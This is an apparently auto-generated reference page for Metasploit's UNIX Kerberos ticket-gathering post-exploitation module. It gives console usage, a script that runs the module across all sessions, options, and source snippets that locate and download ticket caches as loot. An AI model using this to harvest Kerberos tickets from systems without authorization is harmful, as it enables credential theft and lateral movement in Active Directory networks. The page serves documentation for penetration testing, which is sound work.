UNIX Gather Kerberos Tickets - Metasploit


This page contains detailed information about how to use the post/multi/gather/unix_kerberos_tickets metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: UNIX Gather Kerberos Tickets
Module: post/multi/gather/unix_kerberos_tickets
Source code: modules/post/multi/gather/unix_kerberos_tickets.rb
Disclosure date: -
Last modification time: 2021-05-04 11:34:22 +0000
Supported architecture(s): -
Supported platform(s): AIX, Linux, OSX, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Post Module to obtain all kerberos tickets on the targeted UNIX machine.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/unix_kerberos_tickets

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/unix_kerberos_tickets
msf post(unix_kerberos_tickets) > show options
    ... show and set options ...
msf post(unix_kerberos_tickets) > set SESSION session-id
msf post(unix_kerberos_tickets) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/unix_kerberos_tickets")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This post-exploitation module is to attack Active Directory integration solutions on UNIX. Specifically, it obtains all Kerberos tickets on the targeted UNIX machine.

More detail about the underlying research from which these modules were derived can be found at:

  • https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/

This post contains both links to the Black Hat Europe 2018 presentation where the research was publicly disclosed as well as the Portcullis Labs GitHub repo from which this post-exploitation module is derived.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Establish a valid Meterpreter session
  4. Do: use post/multi/gather/unix_kerberos_tickets
  5. Do: run
  6. You should get the Kerberos tickets

Files will be retrieved and placed into the Metasploit loot sub-system as unix_kerberos_tickets_*.

There are no CVEs aligned to these post-exploitation modules because no specific vulnerabilities are being exploited in gathering these files. The post-exploitation module is intended to operate on sessions where root (or appropriate user) privileges has already been obtained.

Scenarios


SSS (sssd)

On a system running SSS (sssd), the modules will gather:

  • /var/lib/sss/db/ccache_*
  • Files matching the default_ccache_name property in /etc/krb5.conf (usually /tmp/krb5*)

One Identity Vintela Authentication Services (vasd)

On a system running One Identity's Vintela Authentication Services (vasd), the modules will gather:

  • /tmp/krb5*

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/unix_kerberos_tickets post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/unix_kerberos_tickets

msf6 post(multi/gather/unix_kerberos_tickets) > show info

       Name: UNIX Gather Kerberos Tickets
     Module: post/multi/gather/unix_kerberos_tickets
   Platform: Linux, OSX, Unix, Solaris, AIX
       Arch: 
       Rank: Normal

Provided by:
  Tim Brown <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name             Current Setting              Required  Description
  ----             ---------------              --------  -----------
  KRB_CONFIG_FILE  /etc/krb5.conf               yes       The Kerberos config file.
  SESSION                                       yes       The session to run this module on.
  VAS_CONFIG_FILE  /etc/opt/quest/vas/vas.conf  yes       The VASD config file.

Description:
  Post Module to obtain all kerberos tickets on the targeted UNIX 
  machine.

Module Options


This is a complete list of options available in the multi/gather/unix_kerberos_tickets post exploitation module:

msf6 post(multi/gather/unix_kerberos_tickets) > show options

Module options (post/multi/gather/unix_kerberos_tickets):

   Name             Current Setting              Required  Description
   ----             ---------------              --------  -----------
   KRB_CONFIG_FILE  /etc/krb5.conf               yes       The Kerberos config file.
   SESSION                                       yes       The session to run this module on.
   VAS_CONFIG_FILE  /etc/opt/quest/vas/vas.conf  yes       The VASD config file.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/unix_kerberos_tickets post exploitation module:

msf6 post(multi/gather/unix_kerberos_tickets) > show advanced

Module advanced options (post/multi/gather/unix_kerberos_tickets):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/unix_kerberos_tickets module can do:

msf6 post(multi/gather/unix_kerberos_tickets) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/unix_kerberos_tickets post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/unix_kerberos_tickets) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Kerberos ticket cache uses <STORAGE>. This module does not support this storage type.


Here is a relevant code snippet related to the "Kerberos ticket cache uses <STORAGE>. This module does not support this storage type." error message:

62:	          if /^FILE:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
63:	            suffix = ''
64:	          elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
65:	            suffix = '/*'
66:	          elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location
67:	            print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")
68:	          else
69:	            print_error("Unknown storage type: #{cache_location}")
70:	          end
71:	
72:	          if file_pattern

Unknown storage type: <CACHE_LOCATION>


Here is a relevant code snippet related to the "Unknown storage type: <CACHE_LOCATION>" error message:

64:	          elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location
65:	            suffix = '/*'
66:	          elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location
67:	            print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")
68:	          else
69:	            print_error("Unknown storage type: #{cache_location}")
70:	          end
71:	
72:	          if file_pattern
73:	            print_status("Kerberos tickets configured to be stored at #{file_pattern}")
74:	            placeholder = 'MSF_INSERT_HERE'

Could not find <CONFIG_FILE>


Here is a relevant code snippet related to the "Could not find <CONFIG_FILE>" error message:

81:	            file_pattern[placeholder] = '*'
82:	            files += cmd_exec("ls #{file_pattern}#{suffix}").split(/\r\n|\r|\n/)
83:	          end
84:	        end
85:	      else
86:	        vprint_warning("Could not find #{config_file}")
87:	      end
88:	    end
89:	    files += cmd_exec('ls /var/lib/sss/db/ccache_*').split(/\r\n|\r|\n/)
90:	    # Even though our config check should preclude this, it is a default location, so checking it may find something
91:	    files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)

No kerberos tickets found


Here is a relevant code snippet related to the "No kerberos tickets found" error message:

90:	    # Even though our config check should preclude this, it is a default location, so checking it may find something
91:	    files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)
92:	    files = files.uniq
93:	    files = files.select { |d| file?(d) }
94:	    if files.nil? || files.empty?
95:	      print_error('No kerberos tickets found')
96:	      return
97:	    end
98:	    download_loot(files)
99:	  end
100:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Tim Brown <timb[at]nth-dimension.org.uk>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.